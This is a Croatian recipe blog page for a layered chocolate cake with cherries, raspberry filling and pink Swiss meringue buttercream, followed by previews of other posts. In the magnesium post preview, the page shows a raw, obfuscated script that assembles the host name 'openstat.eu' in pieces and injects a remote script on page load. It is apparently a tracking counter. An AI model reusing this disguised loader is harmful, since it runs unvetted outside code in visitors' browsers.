ČOKOLADNA TORTA S TREŠNJAMA I MALINAMA 🍒 🍰




Čokoladna torta s trešnjama i malinama 



Kako ljeto kuca na vrata, posežemo za slasticama koje spajaju slatko, voćno i lagano – nečim što će nas zasladiti u toplim ljetnim noćima i uljepšati svaku proslavu.




Čokoladna torta s trešnjama i malinama 


Sastojci:

Čokoladni biskvit

  • 450 g glatkog brašna
  • 130 g kakaa
  • 3 žličice praška za pecivo
  • 1 žličica sode bikarbone
  • 2 žličice soli
  • 200 g šećera
  • 160 g ulja
  • 5 jaja
  • 2 žličice vanilije
  • 400 g mlijeka
  • 300 g vruće vode s jednim espressom


Punjenje od malina

  • 600 g smrznutih malina
  • 4 žlice šećera
  • 4 žličice gustina
  • malo hladne vode
  • Punjenje od čokolade
  • 400 g mascarponea
  • 600 g vrhnja za šlag
  • 200 g tamne čokolade

Swiss butter meringa (za ukrašavanje)

  • 250 g bjelanjaka
  • 450 g šećera
  • 620 g maslaca (omekšalog, sobne temperature)
  • crvena gel boja (2 pakiranja)
  • 2 kg trešanja



Priprema:

Čokoladni biskvit

Izmiksajte ulje i šećer pa dodajte jaja i vaniliju i opet izmiksajte. Dodajte mlijeko i sve dobro povežite. Dodajte suhe sastojke – brašno, prašak za pecivo, sodu bikarbonu, sol, kakao i sve kratko izmiješajte dok se ne poveže. Na kraju dodajte vruću vodu s kavom i opet sve izmiješajte. Stavite u 3 kalupa promjera 20 cm. Pecite na 170 stupnjeva oko 20-25 minuta. Stavite čačkalicu u biskvit, ako je suha, biskvit je gotov. Ostavite ih sa strane da se ohlade pa sve biskvite prerežite na pola.


Punjenje od malina

U lonac stavite maline i šećer te sve dobro otopite. Kada maline skroz omekšaju, izmiksajte ih ručnim mikserom i vratite na vatru. U malo hladne vode razmutite gustin te dodajte malinama i miješajte dok se ne zgusnu. Kada se zgusnu, stavite ih sa strane da se ohlade.


Punjenje od čokolade

Tamnu čokoladu otopite na vatri te ostavite sa strane da se ohladi. Izmiksajte vrhnje za šlag i dodajte izmiksani mascarpone pa zajedno povežite te na kraju dodajte čokoladu i još jednom sve izmiksajte. Potrebno je dobiti čvrstu smjesu, ali pazite da se ne premiksa. Stavite u dresir vrećicu.


Slaganje torte

U okruglu zdjelu prvo stavite prozirnu foliju te u nju stavite kremu. Nakon kreme stavite prvi biskvit (koji sam ja malo smanjila). Na rub biskvita pomoću dresir vrećice stavite kremu, a unutar kruga kreme stavite punjenje od malina. Na punjenje od malina dodajte kreme i sve poravnajte. Taj postupak ponovite do vrha zdjele. U okvir za tortu stavite prozirnu foliju i u njega stavite prvo biskvit pa kremu i unutar kreme punjenje od malina. Sve ponavljate kao prvi put dok ne iskoristite sve biskvite. Na zadnji stavite kremu i na kremu okrenite zdjelu s ostatkom torte i tako ostavite u frižideru preko noći.


Ukrašavanje

S alkoholnim octom obrišite posude i mutilicu u koju će ići bjelanjci i osušite ih. Bjelanjke i šećer stavite u posudu na paru i topite šećer dok temperatura dođe do 70 stupnjeva, tj. da se šećer ne osjeti pod prstima. Maknite s pare i miksajte dok meringa ne dobije soft peaks, tj. mekane vrhove kad okrenete metlicu.

Ostavite da se meringa ohladi (oko 10-15 min) i polako, miksajući, joj dodavajte omekšali maslac u malim komadima. Kada dodate maslac, malo će se zgrudati, ali nastavite miksati još 15 minuta dok ne postane zaglađena. Dodajte crvenu boju da dobijete rozu meringu. Nastavak na mikseru zamijenite za lopaticu i polako miksajte još 5 minuta da se izbije što više zraka iz meringe.

Kada je gotova, stavite u dresir vrećicu i možete ukrašavati tortu. Stavite prvi sloj meringe na tortu pa ju stavite na 10 minuta u hladnjak. Nakon toga dodajte drugi sloj meringe. Ostatak meringe možete staviti na tanjur da možete lakše ukrašavati tortu trešnjama. Na svaku trešnju stavite malo meringe pa stavite na tortu i ponavljajte u krug dok složite cijelu tortu. Ako meringa omekša, stavite u hladnjak dok ne stvrdne da možete lakše ukrašavati.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više